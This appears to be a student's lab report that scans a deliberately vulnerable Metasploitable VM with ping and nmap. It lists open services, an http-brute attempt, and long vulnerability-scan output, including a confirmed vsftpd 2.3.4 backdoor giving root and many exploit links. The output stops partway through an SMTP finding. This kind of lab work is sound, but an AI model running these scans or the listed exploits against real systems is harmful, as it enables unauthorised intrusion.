

Task 1

```
(stevengills@cyse450-sgill016)-[~]
$ ping 10.99.99.2 -c 1
PING 10.99.99.2 (10.99.99.2) 56(84) bytes of data.
64 bytes from 10.99.99.2: icmp_seq=1 ttl=64 time=4.00 ms

— 10.99.99.2 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.000/4.000/4.000/0.000 ms

(stevengills@cyse450-sgill016)-[~]
$ nmap -sn 10.99.99.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 13:28 -0400
Nmap scan report for 10.99.99.2
Host is up (0.00s latency).
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
```

Host is live , verified with ping and nmap

```
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
40335/tcp open mountd 1-3 (RPC #100005)
40839/tcp open status 1 (RPC #100024)
42459/tcp open java-rmi GNU Classpath grmiregistry
52367/tcp open nlockmgr 1-4 (RPC #100021)
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:lin
ux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.82 seconds
```

All open ports and running services

```

└─$ sudo nmap -p 80 --script http-brute 10.99.99.2
[sudo] password for stevengills:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 13:36 -0400
Nmap scan report for 10.99.99.2
Host is up (0.00s latency).

PORT      STATE SERVICE
80/tcp    open  http
| http-brute:
|_ Path "/" does not require authentication
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

```

Http-brute not on port 80.

Vulnerabilities:

```

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|     vsFTPD version 2.3.4 backdoor
|       State: VULNERABLE (Exploitable)
|       IDs: CVE:CVE-2011-2523 BID:48539
|       vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|       Disclosure date: 2011-07-03
|       Exploit results:
|         Shell command: id
|         Results: uid=0(root) gid=0(root)
|       References:
|
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|   https://www.securityfocus.com/bid/48539
|_
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
| vulners:
|   vsftpd 2.3.4:
|     PACKETSTORM:162145      10.0
https://vulners.com/packetstorm/PACKETSTORM:162145      *EXPLOIT*
|     FEA24DDE-72FF-5445-B198-9E2D5322DC86      10.0
https://vulners.com/githubexploit/FEA24DDE-72FF-5445-B198-9E2D5322DC86 *EXPLOIT*
|     EDB-ID:49757      10.0      https://vulners.com/exploitdb/EDB-ID:49757
*EXPLOIT*
|     EDB-ID:17491      10.0      https://vulners.com/exploitdb/EDB-ID:17491
*EXPLOIT*
|     ED5791E3-8935-5632-A403-CB7E7FA26CB0      10.0
https://vulners.com/githubexploit/ED5791E3-8935-5632-A403-CB7E7FA26CB0 *EXPLOIT*
|     EC73033B-7726-59C3-828B-D82BBB955DB9      10.0
https://vulners.com/githubexploit/EC73033B-7726-59C3-828B-D82BBB955DB9 *EXPLOIT*
|     E9B0AEBB-5138-50BF-8922-2D87E3C046DD      10.0
https://vulners.com/githubexploit/E9B0AEBB-5138-50BF-8922-2D87E3C046DD *EXPLOIT*

```

```
|      E356CCEC-7C81-5A77-8CE4-87DF4DB21897      10.0
https://vulners.com/githubexploit/E356CCEC-7C81-5A77-8CE4-87DF4DB21897 *EXPLOIT*
|      DC8CF54B-5E0D-55F4-B5C1-920406A0FF9F      10.0
https://vulners.com/githubexploit/DC8CF54B-5E0D-55F4-B5C1-920406A0FF9F *EXPLOIT*
|      D0DBA05F-750F-5F9B-9C69-65E8FA6977D5      10.0
https://vulners.com/githubexploit/D0DBA05F-750F-5F9B-9C69-65E8FA6977D5 *EXPLOIT*
|      CVE-2011-2523      10.0      https://vulners.com/cve/CVE-2011-2523
|      CNVD-2020-46837      10.0      https://vulners.com/cnvd/CNVD-2020-46837
|      CC3F6C15-182F-53F6-A5CC-812D37F1F047      10.0
https://vulners.com/githubexploit/CC3F6C15-182F-53F6-A5CC-812D37F1F047 *EXPLOIT*
|      BEE67BEA-45C2-50C0-88F3-9A2E7CC2DECE      10.0
https://vulners.com/githubexploit/BEE67BEA-45C2-50C0-88F3-9A2E7CC2DECE *EXPLOIT*
|      A7A90EE8-8AB4-5A6C-B232-E81EB21F6397      10.0
https://vulners.com/githubexploit/A7A90EE8-8AB4-5A6C-B232-E81EB21F6397 *EXPLOIT*
|      A41BDBAB-C86F-56F2-B9E8-709503C4D553      10.0
https://vulners.com/githubexploit/A41BDBAB-C86F-56F2-B9E8-709503C4D553 *EXPLOIT*
|      A41B5EAD-1A4C-56A6-97C6-1C58A1CF1E3B      10.0
https://vulners.com/githubexploit/A41B5EAD-1A4C-56A6-97C6-1C58A1CF1E3B *EXPLOIT*
|      9B4BA341-1CBF-59D6-AA40-33596997F23B      10.0
https://vulners.com/githubexploit/9B4BA341-1CBF-59D6-AA40-33596997F23B *EXPLOIT*
|      885D9854-A37F-5A73-9F90-EE3F205DE5B0      10.0
https://vulners.com/githubexploit/885D9854-A37F-5A73-9F90-EE3F205DE5B0 *EXPLOIT*
|      817CD8FE-87C4-5FE8-B9B2-8CC64333A3F3      10.0
https://vulners.com/githubexploit/817CD8FE-87C4-5FE8-B9B2-8CC64333A3F3 *EXPLOIT*
|      640E6781-DC00-5CC2-88A5-C12AFFCA478B      10.0
https://vulners.com/githubexploit/640E6781-DC00-5CC2-88A5-C12AFFCA478B *EXPLOIT*
|      63A5C9A7-C241-5E83-9EE6-ABAB44BDD270      10.0
https://vulners.com/githubexploit/63A5C9A7-C241-5E83-9EE6-ABAB44BDD270 *EXPLOIT*
|      5F4BCEDE-77DF-5D54-851A-0AE8B76458D9      10.0
https://vulners.com/githubexploit/5F4BCEDE-77DF-5D54-851A-0AE8B76458D9 *EXPLOIT*
|      59BAFDCD-5027-5C82-BC59-FC7625DD81DB      10.0
https://vulners.com/githubexploit/59BAFDCD-5027-5C82-BC59-FC7625DD81DB *EXPLOIT*
|      578A4185-29DB-5E4B-9A4B-3C01D25EB897      10.0
https://vulners.com/githubexploit/578A4185-29DB-5E4B-9A4B-3C01D25EB897 *EXPLOIT*
|      50C3B4DA-43FD-5156-819F-AAD27A9A686C      10.0
https://vulners.com/githubexploit/50C3B4DA-43FD-5156-819F-AAD27A9A686C *EXPLOIT*
|      50580586-73C4-5097-81CA-546D6591DF44      10.0
https://vulners.com/githubexploit/50580586-73C4-5097-81CA-546D6591DF44 *EXPLOIT*
|      500C71C1-81B3-56F4-B19B-1525F11832F1      10.0
https://vulners.com/githubexploit/500C71C1-81B3-56F4-B19B-1525F11832F1 *EXPLOIT*
|      4D01A3A1-75C7-5730-8C5D-B2EC1F56532F      10.0
https://vulners.com/githubexploit/4D01A3A1-75C7-5730-8C5D-B2EC1F56532F *EXPLOIT*
|      344AF37C-35F5-5A70-83E4-B89507233DC0      10.0
https://vulners.com/githubexploit/344AF37C-35F5-5A70-83E4-B89507233DC0 *EXPLOIT*
|      322DD1ED-D331-573E-9AAC-5B6BEC2095F9      10.0
https://vulners.com/githubexploit/322DD1ED-D331-573E-9AAC-5B6BEC2095F9 *EXPLOIT*
|      2BCEB7A1-C5BC-5E9A-9B74-866B897EE5E9      10.0
https://vulners.com/githubexploit/2BCEB7A1-C5BC-5E9A-9B74-866B897EE5E9 *EXPLOIT*
|      23DBF7D8-DD32-5D15-8D18-0CF069745409      10.0
https://vulners.com/githubexploit/23DBF7D8-DD32-5D15-8D18-0CF069745409 *EXPLOIT*
|      1FA24C6E-2C84-566E-81D6-2C3643042BFB      10.0
https://vulners.com/githubexploit/1FA24C6E-2C84-566E-81D6-2C3643042BFB *EXPLOIT*
|      1D2F15C4-7EC3-59CA-ACD1-FDBFEFE00A2D      10.0
https://vulners.com/githubexploit/1D2F15C4-7EC3-59CA-ACD1-FDBFEFE00A2D *EXPLOIT*
```

```

| 1091C34A-3EF3-5ADA-8F1A-FD4F36D96A99 10.0
https://vulners.com/githubexploit/1091C34A-3EF3-5ADA-8F1A-FD4F36D96A99 *EXPLOIT*
| 0CC261B6-9B5B-5867-A6D9-7DADD3BDE9C7 10.0
https://vulners.com/githubexploit/0CC261B6-9B5B-5867-A6D9-7DADD3BDE9C7 *EXPLOIT*
| 09B89183-FE26-5690-A12C-7BEC34B1AAE4 10.0
https://vulners.com/githubexploit/09B89183-FE26-5690-A12C-7BEC34B1AAE4 *EXPLOIT*
| 06A631DB-ED13-5F15-9C5E-74187856CD84 10.0
https://vulners.com/githubexploit/06A631DB-ED13-5F15-9C5E-74187856CD84 *EXPLOIT*
| 01330BA9-9AFB-5AA8-A3E2-3AB2FE216993 10.0
https://vulners.com/githubexploit/01330BA9-9AFB-5AA8-A3E2-3AB2FE216993 *EXPLOIT*
|_ 1337DAY-ID-36095 9.8 https://vulners.com/zdt/1337DAY-ID-36095
*EXPLOIT*
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:4.7p1:
| DF059135-2CF5-5441-8F22-E6EF1DEE5F6E 10.0
https://vulners.com/gitee/DF059135-2CF5-5441-8F22-E6EF1DEE5F6E *EXPLOIT*
| PACKETSTORM:173661 9.8
https://vulners.com/packetstorm/PACKETSTORM:173661 *EXPLOIT*
| F0979183-AE88-53B4-86CF-3AF0523F3807 9.8
https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807 *EXPLOIT*
| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408
| CVE-2016-1908 9.8 https://vulners.com/cve/CVE-2016-1908
| CVE-2010-4478 9.8 https://vulners.com/cve/CVE-2010-4478
| CEF8EC43-BFE2-5B5E-8918-54A90DA092B4 9.8
https://vulners.com/githubexploit/CEF8EC43-BFE2-5B5E-8918-54A90DA092B4 *EXPLOIT*
| B8190CDB-3EB9-5631-9828-8064A1575B23 9.8
https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23 *EXPLOIT*
| A2B36B85-C737-548F-8C04-9339EDCDBFF5 9.8
https://vulners.com/githubexploit/A2B36B85-C737-548F-8C04-9339EDCDBFF5 *EXPLOIT*
| 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8
https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 *EXPLOIT*
| 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8
https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC *EXPLOIT*
| 6192C35D-F78B-5C0A-AB8D-9826A79A5320 9.8
https://vulners.com/githubexploit/6192C35D-F78B-5C0A-AB8D-9826A79A5320 *EXPLOIT*
| 2227729D-6700-5C8F-8930-1EEAFD4B9FF0 9.8
https://vulners.com/githubexploit/2227729D-6700-5C8F-8930-1EEAFD4B9FF0 *EXPLOIT*
| 0221525F-07F5-5790-912D-F4B9E2D1B587 9.8
https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587 *EXPLOIT*
| CVE-2026-60002 9.4 https://vulners.com/cve/CVE-2026-60002
| CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
| CVE-2026-35414 8.1 https://vulners.com/cve/CVE-2026-35414
| CVE-2026-35386 8.1 https://vulners.com/cve/CVE-2026-35386
| CVE-2026-35385 8.1 https://vulners.com/cve/CVE-2026-35385
| BA3887BD-F579-53B1-A4A4-FF49E953E1C0 8.1
https://vulners.com/githubexploit/BA3887BD-F579-53B1-A4A4-FF49E953E1C0 *EXPLOIT*
| 4FB01B00-F993-5CAF-BD57-D7E290D10C1F 8.1
https://vulners.com/githubexploit/4FB01B00-F993-5CAF-BD57-D7E290D10C1F *EXPLOIT*
| PACKETSTORM:140070 7.8
https://vulners.com/packetstorm/PACKETSTORM:140070 *EXPLOIT*
| PACKETSTORM:101052 7.8
https://vulners.com/packetstorm/PACKETSTORM:101052 *EXPLOIT*

```

```

|          EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09      7.8
https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09
*EXPLOIT*
|          EDB-ID:40888      7.8      https://vulners.com/exploitdb/EDB-ID:40888
*EXPLOIT*
|          CVE-2020-15778      7.8      https://vulners.com/cve/CVE-2020-15778
|          CVE-2016-6515      7.8      https://vulners.com/cve/CVE-2016-6515
|          CVE-2016-10012      7.8      https://vulners.com/cve/CVE-2016-10012
|          CVE-2015-8325      7.8      https://vulners.com/cve/CVE-2015-8325
|          C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3      7.8
https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 *EXPLOIT*
|          C892A90E-C1D1-5A54-BFAA-046266448553      7.8
https://vulners.com/githubexploit/C892A90E-C1D1-5A54-BFAA-046266448553 *EXPLOIT*
|          99C4CA40-30C8-5A34-B3A3-4B5E7A9E16BA      7.8
https://vulners.com/githubexploit/99C4CA40-30C8-5A34-B3A3-4B5E7A9E16BA *EXPLOIT*
|          991D2CC4-0E09-5745-97A2-4917461BD6EC      7.8
https://vulners.com/githubexploit/991D2CC4-0E09-5745-97A2-4917461BD6EC *EXPLOIT*
|          4F1BA9CA-CAB4-55F4-A857-3E4C94C93483      7.8
https://vulners.com/githubexploit/4F1BA9CA-CAB4-55F4-A857-3E4C94C93483 *EXPLOIT*
|          312165E3-7FD9-5769-BDA3-4129BE9114D6      7.8
https://vulners.com/githubexploit/312165E3-7FD9-5769-BDA3-4129BE9114D6 *EXPLOIT*
|          2E719186-2FED-58A8-A150-762EFBAAA523      7.8
https://vulners.com/gitee/2E719186-2FED-58A8-A150-762EFBAAA523 *EXPLOIT*
|          23CC97BE-7C95-513B-9E73-298C48D74432      7.8
https://vulners.com/githubexploit/23CC97BE-7C95-513B-9E73-298C48D74432 *EXPLOIT*
|          1337DAY-ID-26494      7.8      https://vulners.com/zdt/1337DAY-ID-26494
*EXPLOIT*
|          10213DBE-F683-58BB-B6D3-353173626207      7.8
https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT*
|          SSV:92579      7.5      https://vulners.com/seebug/SSV:92579      *EXPLOIT*
|          SSV:61450      7.5      https://vulners.com/seebug/SSV:61450      *EXPLOIT*
|          EDB-ID:40963      7.5      https://vulners.com/exploitdb/EDB-ID:40963
*EXPLOIT*
|          CVE-2026-60000      7.5      https://vulners.com/cve/CVE-2026-60000
|          CVE-2026-59999      7.5      https://vulners.com/cve/CVE-2026-59999
|          CVE-2016-10708      7.5      https://vulners.com/cve/CVE-2016-10708
|          CVE-2016-10009      7.5      https://vulners.com/cve/CVE-2016-10009
|          CVE-2014-1692      7.5      https://vulners.com/cve/CVE-2014-1692
|          CVE-2010-5107      7.5      https://vulners.com/cve/CVE-2010-5107
|          CF52FA19-B5DB-5D14-B50F-2411851976E2      7.5
https://vulners.com/githubexploit/CF52FA19-B5DB-5D14-B50F-2411851976E2 *EXPLOIT*
|          1337DAY-ID-26576      7.5      https://vulners.com/zdt/1337DAY-ID-26576
*EXPLOIT*
|          SSV:92582      7.2      https://vulners.com/seebug/SSV:92582      *EXPLOIT*
|          EDB-ID:40962      7.0      https://vulners.com/exploitdb/EDB-ID:40962
*EXPLOIT*
|          CVE-2016-10010      7.0      https://vulners.com/cve/CVE-2016-10010
|          CVE-2015-6564      7.0      https://vulners.com/cve/CVE-2015-6564
|          SSV:92580      6.9      https://vulners.com/seebug/SSV:92580      *EXPLOIT*
|          1337DAY-ID-26577      6.9      https://vulners.com/zdt/1337DAY-ID-26577
*EXPLOIT*
|          EDB-ID:46516      6.8      https://vulners.com/exploitdb/EDB-ID:46516
*EXPLOIT*
|          EDB-ID:46193      6.8      https://vulners.com/exploitdb/EDB-ID:46193
*EXPLOIT*

```

```

| CVE-2019-6110 6.8 https://vulners.com/cve/CVE-2019-6110
| CVE-2019-6109 6.8 https://vulners.com/cve/CVE-2019-6109
| 1337DAY-ID-32328 6.8 https://vulners.com/zdt/1337DAY-ID-32328
*EXPLOIT*
| 1337DAY-ID-32009 6.8 https://vulners.com/zdt/1337DAY-ID-32009
*EXPLOIT*
| DB7C1CC7-4DB6-55E0-BC0B-5059FBBF3AE16 6.5
https://vulners.com/githubexploit/DB7C1CC7-4DB6-55E0-BC0B-5059FBBF3AE16 *EXPLOIT*
| D104D2BF-ED22-588B-A9B2-3CCC562FE8C0 6.5
https://vulners.com/githubexploit/D104D2BF-ED22-588B-A9B2-3CCC562FE8C0 *EXPLOIT*
| CVE-2026-60001 6.5 https://vulners.com/cve/CVE-2026-60001
| CVE-2026-59998 6.5 https://vulners.com/cve/CVE-2026-59998
| CVE-2026-35387 6.5 https://vulners.com/cve/CVE-2026-35387
| CVE-2023-51385 6.5 https://vulners.com/cve/CVE-2023-51385
| CVE-2014-2653 6.5 https://vulners.com/cve/CVE-2014-2653
| CVE-2012-0814 6.5 https://vulners.com/cve/CVE-2012-0814
| CVE-2008-1657 6.5 https://vulners.com/cve/CVE-2008-1657
| C07ADB46-24B8-57B7-B375-9C761F4750A2 6.5
https://vulners.com/githubexploit/C07ADB46-24B8-57B7-B375-9C761F4750A2 *EXPLOIT*
| A88CDD3E-67CC-51CC-97FB-AB0CACB6B08C 6.5
https://vulners.com/githubexploit/A88CDD3E-67CC-51CC-97FB-AB0CACB6B08C *EXPLOIT*
| 65B15AA1-2A8D-53C1-9499-69EBA3619F1C 6.5
https://vulners.com/githubexploit/65B15AA1-2A8D-53C1-9499-69EBA3619F1C *EXPLOIT*
| 5325A9D6-132B-590C-BDEF-0CB105252732 6.5
https://vulners.com/gitee/5325A9D6-132B-590C-BDEF-0CB105252732 *EXPLOIT*
| 530326CF-6AB3-5643-AA16-73DC8CB44742 6.5
https://vulners.com/githubexploit/530326CF-6AB3-5643-AA16-73DC8CB44742 *EXPLOIT*
| EDB-ID:40858 6.4 https://vulners.com/exploitdb/EDB-ID:40858
*EXPLOIT*
| EDB-ID:39569 6.4 https://vulners.com/exploitdb/EDB-ID:39569
*EXPLOIT*
| CVE-2016-3115 6.4 https://vulners.com/cve/CVE-2016-3115
| CVE-2015-6563 6.4 https://vulners.com/cve/CVE-2015-6563
| CVE-2016-10011 6.2 https://vulners.com/cve/CVE-2016-10011
| PACKETSTORM:181223 5.9
https://vulners.com/packetstorm/PACKETSTORM:181223 *EXPLOIT*
| MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS- 5.9
https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS- *EXPLOIT*
| FEF0EB06-770B-5ADF-857C-1704B7AC3FE4 5.9
https://vulners.com/githubexploit/FEF0EB06-770B-5ADF-857C-1704B7AC3FE4 *EXPLOIT*
| FD2E0EBA-ED84-5304-8862-84BCDEB2F288 5.9
https://vulners.com/githubexploit/FD2E0EBA-ED84-5304-8862-84BCDEB2F288 *EXPLOIT*
| EDB-ID:45939 5.9 https://vulners.com/exploitdb/EDB-ID:45939
*EXPLOIT*
| EDB-ID:45233 5.9 https://vulners.com/exploitdb/EDB-ID:45233
*EXPLOIT*
| EDB-ID:45210 5.9 https://vulners.com/exploitdb/EDB-ID:45210
*EXPLOIT*
| EDB-ID:40136 5.9 https://vulners.com/exploitdb/EDB-ID:40136
*EXPLOIT*
| EDB-ID:40113 5.9 https://vulners.com/exploitdb/EDB-ID:40113
*EXPLOIT*
| CVE-2023-48795 5.9 https://vulners.com/cve/CVE-2023-48795
| CVE-2019-6111 5.9 https://vulners.com/cve/CVE-2019-6111
| CVE-2018-15473 5.9 https://vulners.com/cve/CVE-2018-15473

```

```

| CVE-2016-6210 5.9 https://vulners.com/cve/CVE-2016-6210
| A4C45A40-ADC5-50EF-8FFC-4047AA0F987B 5.9
https://vulners.com/githubexploit/A4C45A40-ADC5-50EF-8FFC-4047AA0F987B *EXPLOIT*
| A02ABE85-E4E3-5852-A59D-DF288CB8160A 5.9
https://vulners.com/githubexploit/A02ABE85-E4E3-5852-A59D-DF288CB8160A *EXPLOIT*
| 999F3EF8-6D45-5F10-A4C8-6185D82D4552 5.9
https://vulners.com/githubexploit/999F3EF8-6D45-5F10-A4C8-6185D82D4552 *EXPLOIT*
| 721F040C-37BC-59E1-9433-01A2EAC2E755 5.9
https://vulners.com/githubexploit/721F040C-37BC-59E1-9433-01A2EAC2E755 *EXPLOIT*
| SSV:61911 5.8 https://vulners.com/seebug/SSV:61911 *EXPLOIT*
| EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8
https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19
*EXPLOIT*
| EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 5.8
https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97
*EXPLOIT*
| CVE-2014-2532 5.8 https://vulners.com/cve/CVE-2014-2532
| SSV:91041 5.5 https://vulners.com/seebug/SSV:91041 *EXPLOIT*
| PACKETSTORM:140019 5.5
https://vulners.com/packetstorm/PACKETSTORM:140019 *EXPLOIT*
| PACKETSTORM:136251 5.5
https://vulners.com/packetstorm/PACKETSTORM:136251 *EXPLOIT*
| PACKETSTORM:136234 5.5
https://vulners.com/packetstorm/PACKETSTORM:136234 *EXPLOIT*
| EXPLOITPACK:F92411A645D85F05BDBD274FD22226F 5.5
https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD22226F
*EXPLOIT*
| EXPLOITPACK:9F2E746846C3C623A27A441281EAD138 5.5
https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138
*EXPLOIT*
| EXPLOITPACK:1902C998CBF9154396911926B4C3B330 5.5
https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330
*EXPLOIT*
| CVE-2011-4327 5.5 https://vulners.com/cve/CVE-2011-4327
| 1337DAY-ID-25388 5.5 https://vulners.com/zdt/1337DAY-ID-25388
*EXPLOIT*
| CVE-2026-59997 5.4 https://vulners.com/cve/CVE-2026-59997
| CVE-2026-59996 5.4 https://vulners.com/cve/CVE-2026-59996
| CVE-2026-59995 5.4 https://vulners.com/cve/CVE-2026-59995
| FD18B68B-C0A6-562E-A8C8-781B225F15B0 5.3
https://vulners.com/githubexploit/FD18B68B-C0A6-562E-A8C8-781B225F15B0 *EXPLOIT*
| E9EC0911-E2E1-52A7-B2F4-D0065C6A3057 5.3
https://vulners.com/githubexploit/E9EC0911-E2E1-52A7-B2F4-D0065C6A3057 *EXPLOIT*
| CVE-2018-20685 5.3 https://vulners.com/cve/CVE-2018-20685
| CVE-2017-15906 5.3 https://vulners.com/cve/CVE-2017-15906
| CVE-2016-20012 5.3 https://vulners.com/cve/CVE-2016-20012
| CNVD-2018-20962 5.3 https://vulners.com/cnvd/CNVD-2018-20962
| CNVD-2018-20960 5.3 https://vulners.com/cnvd/CNVD-2018-20960
| A9E6F50E-E7FC-51D0-9C93-A43461469FA2 5.3
https://vulners.com/githubexploit/A9E6F50E-E7FC-51D0-9C93-A43461469FA2 *EXPLOIT*
| A801235B-9835-5BA8-B8FE-23B7FFCABD66 5.3
https://vulners.com/githubexploit/A801235B-9835-5BA8-B8FE-23B7FFCABD66 *EXPLOIT*
| 8DD1D813-FD5A-5B26-867A-CE7CAC9FEEDF 5.3
https://vulners.com/gitee/8DD1D813-FD5A-5B26-867A-CE7CAC9FEEDF *EXPLOIT*

```

```

|      4F2FBB06-E601-5EAD-9679-3395D24057DD      5.3
https://vulners.com/githubexploit/4F2FBB06-E601-5EAD-9679-3395D24057DD  *EXPLOIT*
|      486BB6BC-9C26-597F-B865-D0E904FDA984      5.3
https://vulners.com/githubexploit/486BB6BC-9C26-597F-B865-D0E904FDA984  *EXPLOIT*
|      2385176A-820F-5469-AB09-C340264F2B2F      5.3
https://vulners.com/gitee/2385176A-820F-5469-AB09-C340264F2B2F  *EXPLOIT*
|      1337DAY-ID-31730      5.3      https://vulners.com/zdt/1337DAY-ID-31730
*EXPLOIT*
|      SSV:60656      5.0      https://vulners.com/seebug/SSV:60656      *EXPLOIT*
|      SSH_ENUM      5.0      https://vulners.com/canvas/SSH_ENUM      *EXPLOIT*
|      PACKETSTORM:150621      5.0
https://vulners.com/packetstorm/PACKETSTORM:150621      *EXPLOIT*
|      EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0      5.0
https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0
*EXPLOIT*
|      EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283      5.0
https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283
*EXPLOIT*
|      EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF      4.3
https://vulners.com/exploitpack/EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF
*EXPLOIT*
|      EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF      4.3
https://vulners.com/exploitpack/EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF
*EXPLOIT*
|      CVE-2015-5352      4.3      https://vulners.com/cve/CVE-2015-5352
|      1337DAY-ID-25440      4.3      https://vulners.com/zdt/1337DAY-ID-25440
*EXPLOIT*
|      1337DAY-ID-25438      4.3      https://vulners.com/zdt/1337DAY-ID-25438
*EXPLOIT*
|      CVE-2010-4755      4.0      https://vulners.com/cve/CVE-2010-4755
|      CVE-2021-36368      3.7      https://vulners.com/cve/CVE-2021-36368
|      CVE-2025-61985      3.6      https://vulners.com/cve/CVE-2025-61985
|      CVE-2025-61984      3.6      https://vulners.com/cve/CVE-2025-61984
|      B7EACB4F-A5CF-5C5A-809F-E03CCE2AB150      3.6
https://vulners.com/githubexploit/B7EACB4F-A5CF-5C5A-809F-E03CCE2AB150  *EXPLOIT*
|      4C6E2182-0E99-5626-83F6-1646DD648C57      3.6
https://vulners.com/githubexploit/4C6E2182-0E99-5626-83F6-1646DD648C57  *EXPLOIT*
|      CVE-2011-5000      3.5      https://vulners.com/cve/CVE-2011-5000
|      CVE-2026-35388      2.5      https://vulners.com/cve/CVE-2026-35388
|      SSV:92581      2.1      https://vulners.com/seebug/SSV:92581      *EXPLOIT*
|      CVE-2008-3259      1.2      https://vulners.com/cve/CVE-2008-3259
|      PACKETSTORM:151227      0.0
https://vulners.com/packetstorm/PACKETSTORM:151227      *EXPLOIT*
|      PACKETSTORM:140261      0.0
https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*
|      PACKETSTORM:138006      0.0
https://vulners.com/packetstorm/PACKETSTORM:138006      *EXPLOIT*
|      PACKETSTORM:137942      0.0
https://vulners.com/packetstorm/PACKETSTORM:137942      *EXPLOIT*
|      1337DAY-ID-30937      0.0      https://vulners.com/zdt/1337DAY-ID-30937
*EXPLOIT*
|      1337DAY-ID-26468      0.0      https://vulners.com/zdt/1337DAY-ID-26468
*EXPLOIT*
|_      1337DAY-ID-25391      0.0      https://vulners.com/zdt/1337DAY-ID-25391
*EXPLOIT*

```

```
23/tcp  open  telnet      Linux telnetd
25/tcp  open  smtp        Postfix smtpd
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|   State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|   Check results:
|       ANONYMOUS DH GROUP 1
|           Cipher Suite: TLS_DH_anon_WITH_DES_CBC_SHA
|           Modulus Type: Safe prime
